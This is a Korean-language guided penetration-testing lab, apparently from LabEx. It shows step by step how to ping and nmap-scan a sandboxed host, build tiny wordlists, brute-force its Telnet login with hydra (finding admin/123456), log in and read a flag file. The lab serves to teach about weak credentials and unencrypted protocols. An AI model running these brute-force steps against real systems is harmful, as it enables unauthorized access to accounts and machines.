Telnet 무차별 대입 공격 및 취약한 자격 증명

LinuxBeginner
지금 연습하기

소개

비밀번호 보안 및 무차별 대입 공격 (brute-force attack) 에 초점을 맞춘 실습에 오신 것을 환영합니다. 많은 보안 침해 사고는 복잡한 소프트웨어 취약점 때문이 아니라, 단순하거나 취약하거나 기본값으로 설정된 자격 증명 때문에 발생합니다. 무차별 대입 공격은 올바른 사용자 이름과 비밀번호 조합을 찾을 때까지 수많은 조합을 시도하는 자동화된 방법입니다.

이 실습에서는 취약한 Telnet 서비스와 약한 비밀번호로 보호된 시스템에 대한 공격을 시뮬레이션합니다. 표준 침투 테스트 도구를 사용하여 정보 수집 (reconnaissance), 공격 준비 및 실행을 수행합니다. 먼저 연결을 확인하고, nmap으로 대상 시스템을 스캔한 다음, 인기 있는 비밀번호 크래킹 도구인 hydra를 사용하여 로그인 자격 증명을 알아낼 것입니다. 마지막으로 알아낸 자격 증명을 사용하여 시스템에 액세스하고 플래그 (flag) 를 획득합니다.

실습 완료 후 다음을 수행하는 방법을 이해하게 될 것입니다:

  • ping을 사용하여 네트워크 연결을 확인합니다.
  • nmap을 사용하여 특정 서비스가 실행 중인지 확인합니다.
  • 무차별 대입 공격을 위한 단어 목록 (wordlists) 을 생성합니다.
  • hydra를 사용하여 Telnet 서비스에 대한 무차별 대입 공격을 수행합니다.
  • 탈취된 자격 증명을 사용하여 시스템에 액세스합니다.

시작해 봅시다.

이것은 가이드 실험입니다. 학습과 실습을 돕기 위한 단계별 지침을 제공합니다.각 단계를 완료하고 실무 경험을 쌓기 위해 지침을 주의 깊게 따르세요. 과거 데이터에 따르면, 이것은 초급 레벨의 실험이며 완료율은 85%입니다.학습자들로부터 100%의 긍정적인 리뷰율을 받았습니다.

Ping 으로 대상 시스템 연결 확인

이 단계에서는 먼저 공격 머신이 대상 시스템과 통신할 수 있는지 확인합니다. ping 명령은 대상 호스트에 요청을 보내고 응답을 기다려 해당 호스트의 도달 가능성을 확인하는 기본적인 네트워크 진단 도구입니다.

귀하의 환경에는 호스트 이름 target으로 접근 가능한 대상 시스템이 포함되어 있습니다. 이 시스템이 온라인 상태이고 응답하는지 확인하려면 터미널에서 다음 명령을 실행하십시오. -c 4 플래그는 ping에 정확히 네 개의 패킷을 보내도록 지시합니다.

ping -c 4 target

아래와 유사한 응답을 보게 될 것입니다. 이는 대상 시스템이 온라인 상태이고 네트워크 연결이 안정적임을 확인합니다. IP 주소와 응답 시간은 약간 다를 수 있습니다.

PING target (172.17.0.2) 56(84) bytes of data.
64 bytes from target (172.17.0.2): icmp_seq=1 ttl=64 time=0.086 ms
64 bytes from target (172.17.0.2): icmp_seq=2 ttl=64 time=0.064 ms
64 bytes from target (172.17.0.2): icmp_seq=3 ttl=64 time=0.063 ms
64 bytes from target (172.17.0.2): icmp_seq=4 ttl=64 time=0.064 ms

--- target ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3069ms
rtt min/avg/max/mdev = 0.063/0.069/0.086/0.010 ms

연결이 확인되었으므로 이제 대상 시스템 스캔을 진행할 준비가 되었습니다.

Nmap 으로 열린 포트 스캔

이 단계에서는 nmap을 사용하여 대상 시스템의 열린 포트와 실행 중인 서비스를 스캔합니다. 이는 잠재적인 진입점을 식별하는 데 도움이 되므로 정보 수집 (reconnaissance) 의 중요한 부분입니다. 일반적으로 포트 23 을 사용하는 Telnet 서비스가 실행 중일 것으로 예상됩니다.

이를 확인하기 위해 특정 포트에 대한 nmap 스캔을 실행합니다. -p 23 플래그는 스캔을 Telnet 포트로 집중시킵니다.

터미널에서 다음 명령을 실행하십시오:

nmap -p 23 target

출력에는 지정된 포트의 상태가 표시됩니다. 다음과 유사한 결과를 보게 될 것입니다:

Starting Nmap 7.80 ( https://nmap.org ) at 2025-09-19 14:10 CST
Nmap scan report for target (172.17.0.2)
Host is up (0.00040s latency).

PORT   STATE SERVICE
23/tcp open  telnet

Nmap done: 1 IP address (1 host up) scanned in 0.05 seconds

출력은 포트 23/tcpopen 상태이며 telnet 서비스가 실행 중임을 확인합니다. 다음 단계에서 우리가 목표로 삼을 서비스입니다.

무차별 대입 (Brute Force) 을 이용한 Telnet 대상 연결

이 단계에서는 hydra를 사용하여 Telnet 서비스에 대한 무차별 대입 공격 (brute-force attack) 을 수행합니다. 비밀번호를 모르기 때문에 hydra에 잠재적인 사용자 이름과 비밀번호 목록을 제공하여 자동으로 시도하도록 할 것입니다.

먼저 두 개의 간단한 단어 목록 (wordlist) 을 생성합니다. 하나는 사용자 이름 (users.txt) 용이고 다른 하나는 비밀번호 (pass.txt) 용입니다. 일반적이고 가능성 있는 후보들을 포함시킬 것입니다.

사용자 이름 목록 생성:

echo -e "admin\nuser\nroot" > users.txt

비밀번호 목록 생성:

echo -e "password\nadmin\n123456" > pass.txt

이제 hydra를 사용하여 공격을 시작합니다. -L 플래그는 사용자 목록을 지정하고, -P 플래그는 비밀번호 목록을 지정하며, telnet://target은 공격할 프로토콜과 호스트를 정의합니다.

hydra -L users.txt -P pass.txt telnet://target

hydra는 이제 목록에 있는 모든 사용자 이름과 비밀번호 조합으로 로그인을 시도합니다. 잠시 후 올바른 자격 증명을 찾아 표시할 것입니다.

Hydra v9.2 (c) 2021 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-09-19 14:11:54
[WARNING] telnet is by its nature unreliable to analyze, if possible better choose FTP, SSH, etc. if available
[DATA] max 9 tasks per 1 server, overall 9 tasks, 9 login tries (l:3/p:3), ~1 try per task
[DATA] attacking telnet://target:23/
[23][telnet] host: target   login: admin   password: 123456
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-09-19 14:11:57

출력은 사용자 이름 admin과 비밀번호 123456으로 유효한 로그인이 발견되었음을 명확하게 보여줍니다.

대상 시스템 탐색 및 플래그 (Flag) 찾기

이 단계에서는 hydra로 발견한 자격 증명을 사용하여 대상 시스템에 로그인하고 플래그를 찾습니다. 이것이 공격의 최종 단계이며 목표를 달성하는 단계입니다.

telnet 클라이언트를 사용하여 대상 시스템에 연결합니다:

telnet target

시스템에서 로그인을 요청합니다. 사용자 이름 admin을 입력하고 Enter 키를 누릅니다. 그런 다음 비밀번호를 요청하면 123456을 입력하고 Enter 키를 누릅니다.

Trying 172.17.0.2...
Connected to target.
Escape character is '^]'.

Linux 5.15.0-56-generic (target) (pts/0)

target login: admin
Password:

로그인에 성공하면 쉘 프롬프트가 표시됩니다. 이제 대상 시스템 내부에 있습니다.

Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.15.0-56-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Last login: Fri Sep 19 06:11:55 UTC 2025 from 172.17.0.1 on pts/0
admin@target:~$

이제 현재 디렉토리 (/home/admin) 의 내용을 나열하여 플래그를 찾습니다.

ls -la

목록에서 flag.txt 파일을 볼 수 있습니다.

admin@target:~$ ls -la
total 28
drwxr-xr-x 3 admin admin 4096 Sep 19 06:11 .
drwxr-xr-x 1 root  root  4096 Sep 19 06:08 ..
-rw-r--r-- 1 admin admin  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 admin admin 3771 Feb 25  2020 .bashrc
drwx------ 2 admin admin 4096 Sep 19 06:11 .cache
-rw-r--r-- 1 admin admin  807 Feb 25  2020 .profile
-rw-r--r-- 1 admin admin   33 Sep 19 06:08 flag.txt

마지막으로 cat 명령을 사용하여 flag.txt의 내용을 읽습니다.

cat flag.txt

터미널에 플래그가 표시됩니다.

admin@target:~$ cat flag.txt
labex{w34k_p4ssw0rd_brut3f0rc3d}

축하합니다! Telnet 서비스를 성공적으로 무차별 대입 공격하여 플래그를 획득했습니다. 랩을 완료하려면 플래그 값을 복사하십시오. 세션을 종료하려면 logout을 입력하고 Enter 키를 누릅니다.

요약

이 랩에서는 Telnet 서비스에 대한 무차별 대입 공격 (brute-force attack) 을 성공적으로 실행했습니다. 취약한 자격 증명으로 시스템을 침해하는 체계적인 접근 방식을 배웠습니다.

다음과 같은 방법을 연습했습니다:

  • ping을 사용하여 네트워크 연결 가능 여부 확인
  • nmap을 사용하여 대상 포트에서 특정 서비스가 활성화되어 있는지 확인
  • 간단하지만 효과적인 사용자 이름 및 비밀번호 단어 목록 (wordlist) 생성
  • hydra를 사용하여 로그인 조합 시도 자동화 및 유효한 자격 증명 식별
  • 침해된 자격 증명을 사용하여 로그인하고 대상 시스템을 탐색하며 플래그 검색

이 연습은 취약하고 추측하기 쉬운 비밀번호 사용이라는 근본적인 보안 위험을 보여줍니다. 또한 자격 증명을 네트워크 스니핑에 노출시키는 Telnet 과 같은 암호화되지 않은 프로토콜 사용의 위험성을 강조합니다. 여러분이 배운 기술은 시스템 방어를 테스트하는 윤리적 해커와 이를 보호해야 하는 시스템 관리자 모두에게 필수적입니다.